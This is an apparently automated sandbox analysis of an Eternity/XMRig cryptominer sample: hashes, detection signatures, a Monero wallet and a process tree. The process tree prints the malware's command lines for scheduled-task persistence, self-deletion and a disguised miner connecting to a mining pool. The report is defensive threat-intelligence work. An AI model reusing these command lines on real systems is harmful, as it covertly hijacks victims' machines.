Analysis

  • max time kernel
    150s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    07-09-2022 13:02

General

  • Target

    a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe

  • Size

    2.1MB

  • MD5

    d5737f563015ca9df92bf17c6636db42

  • SHA1

    957099807b7ab2e38d583f84fb7059711feec61f

  • SHA256

    a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9

  • SHA512

    d160a076c6ab88634c8695ab3d9ca29e37e6a4fb43cd400d1d1047fb7da2614e3e5a537f4a10f55ee5ef3cc16d40552ea888437f72f937e824d96ef24536c518

  • SSDEEP

    49152:kzuzgsK8XCwKyblc81KsH7FtfcaSPL/e6988MKMTq3xJTaUbEyi:NzgEywKybm81KQ7F9caSPi69893Oj81

Score
10/10

Malware Config

Extracted

Family

eternity

Wallets

49vkUmVaigPGUsSL7xMRTxHbf38TkAMKFVN57A17sxUujLNgmrKi7bFcwb73uRWepASSZJPEWf1Kn81nWdHKDhEnAANFvmW

Signatures

  • Eternity

    Eternity Project is a malware kit offering an info stealer, clipper, worm, coin miner, ransomware, and DDoS bot.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 14 IoCs
  • Executes dropped EXE 2 IoCs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe
    "C:\Users\Admin\AppData\Local\Temp\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1976
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe" &&START "" "C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe"
      2⤵
      • Deletes itself
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1728
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:1516
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1
          3⤵
          • Runs ping.exe
          PID:1740
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe" /rl HIGHEST /f
          3⤵
          • Creates scheduled task(s)
          PID:944
        • C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe
          "C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:892
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe -a cryptonight -o pool.minexmr.com:4444 -u 49vkUmVaigPGUsSL7xMRTxHbf38TkAMKFVN57A17sxUujLNgmrKi7bFcwb73uRWepASSZJPEWf1Kn81nWdHKDhEnAANFvmW.Admin_ZERMMMDR -p x --max-cpu-usage=30 --donate-level=1
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:796
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {2693B212-B803-40D3-B586-7AEEA702C530} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1672
      • C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe
        C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe
        2⤵
        • Executes dropped EXE
        PID:1296

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe

      Filesize

      2.1MB

      MD5

      d5737f563015ca9df92bf17c6636db42

      SHA1

      957099807b7ab2e38d583f84fb7059711feec61f

      SHA256

      a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9

      SHA512

      d160a076c6ab88634c8695ab3d9ca29e37e6a4fb43cd400d1d1047fb7da2614e3e5a537f4a10f55ee5ef3cc16d40552ea888437f72f937e824d96ef24536c518

    • C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe

      Filesize

      2.1MB

      MD5

      d5737f563015ca9df92bf17c6636db42

      SHA1

      957099807b7ab2e38d583f84fb7059711feec61f

      SHA256

      a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9

      SHA512

      d160a076c6ab88634c8695ab3d9ca29e37e6a4fb43cd400d1d1047fb7da2614e3e5a537f4a10f55ee5ef3cc16d40552ea888437f72f937e824d96ef24536c518

    • C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe

      Filesize

      2.1MB

      MD5

      d5737f563015ca9df92bf17c6636db42

      SHA1

      957099807b7ab2e38d583f84fb7059711feec61f

      SHA256

      a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9

      SHA512

      d160a076c6ab88634c8695ab3d9ca29e37e6a4fb43cd400d1d1047fb7da2614e3e5a537f4a10f55ee5ef3cc16d40552ea888437f72f937e824d96ef24536c518

    • \Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe

      Filesize

      2.1MB

      MD5

      d5737f563015ca9df92bf17c6636db42

      SHA1

      957099807b7ab2e38d583f84fb7059711feec61f

      SHA256

      a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9

      SHA512

      d160a076c6ab88634c8695ab3d9ca29e37e6a4fb43cd400d1d1047fb7da2614e3e5a537f4a10f55ee5ef3cc16d40552ea888437f72f937e824d96ef24536c518

    • memory/796-82-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/796-75-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/796-90-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/796-89-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/796-88-0x0000000000070000-0x0000000000090000-memory.dmp

      Filesize

      128KB

    • memory/796-87-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/796-65-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/796-66-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/796-68-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/796-70-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/796-72-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/796-74-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/796-84-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/796-76-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/796-78-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/796-80-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/796-81-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/892-64-0x000000013F930000-0x000000013FB46000-memory.dmp

      Filesize

      2.1MB

    • memory/1976-54-0x000000013FE60000-0x0000000140076000-memory.dmp

      Filesize

      2.1MB

    • memory/1976-55-0x000007FEFC511000-0x000007FEFC513000-memory.dmp

      Filesize

      8KB